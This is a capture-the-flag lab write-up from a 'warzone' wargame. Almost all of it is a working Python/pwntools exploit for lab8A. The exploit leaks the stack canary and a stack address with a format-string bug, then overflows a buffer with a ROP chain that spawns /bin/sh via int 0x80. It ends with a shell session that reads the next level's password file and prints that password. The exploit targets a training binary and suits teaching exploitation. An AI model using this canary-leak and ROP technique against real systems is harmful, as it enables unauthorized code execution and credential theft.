lab8A@warzone:/levels/lab08$ cat /tmp/exploit_lab8A_2.py from pwn import * p = remote("localhost", 8841) #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # leak stack address & canary and store string /bin/sh fmt = "%p%130$p/bin/sh" # stack_leak & stack_canary + /bin/sh for later use p.sendline(fmt) ret = p.recv(1000) hexdump(ret) stack_leak = int(ret[0xe1:0xe9], 16) log.success("stack_leak: " + hex(stack_leak)) stack_can = int(ret[0xeb:0xf3], 16) log.success("stack_canary: " + hex(stack_can)) addr_binsh = stack_leak + 8 #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # enter valid input in order to trigger findSomeWords p.sendline("A") p.recvuntil("..I like to read ^_^ <== ") #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # setup exploit expl = "A" * 16 expl += p32(0xdeadbeef) # custom stack canary expl += "A" * 4 expl += p32(stack_can) # default canary before saved ebp expl += "A" * 4 # saved ebp # return address at offset 32 expl += p32(0x08054b45) # mov edx, 0xffffffff; ret expl += p32(0x0807b8dc) # inc edx; adc al,0x39; ret # --> EDX = 0 expl += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx; # pop esi; pop edi; pop ebp; ret expl += p32(addr_binsh) # -> ebx expl += p32(0xdeadbeef) # -> esi expl += p32(0xdeadbeef) # -> edi expl += p32(0xdeadbeef) # -> ebp # --> ECX = 0 # --> EAX = 0 # --> EBX = address of "/bin/sh" expl += p32(0x08069443) # add eax, edi; pop edi; ret expl += p32(0x2152411c) # -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b expl += p32(0x08069443) # add eax, edi; pop edi; ret expl += p32(0xdeadbeef) # -> edi # --> EAX = 0xB expl += p32(0x08048ef6) # int 0x80 p.sendline(expl) p.interactive()
Running the script:
lab8A@warzone:/levels/lab08$ python /tmp/exploit_lab8A_2.py [+] Opening connection to localhost on port 8841: Done [+] stack_leak: 0xbfa736c0 [+] stack_canary: 0xc8b37100 [*] Switching to interactive mode $ id uid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser) $ cat /home/lab8end/.pass H4x0r5_d0nt_N33d_m3t4pHYS1c5
Done! The final password for this lab is H4x0r5_d0nt_N33d_m3t4pHYS1c5
.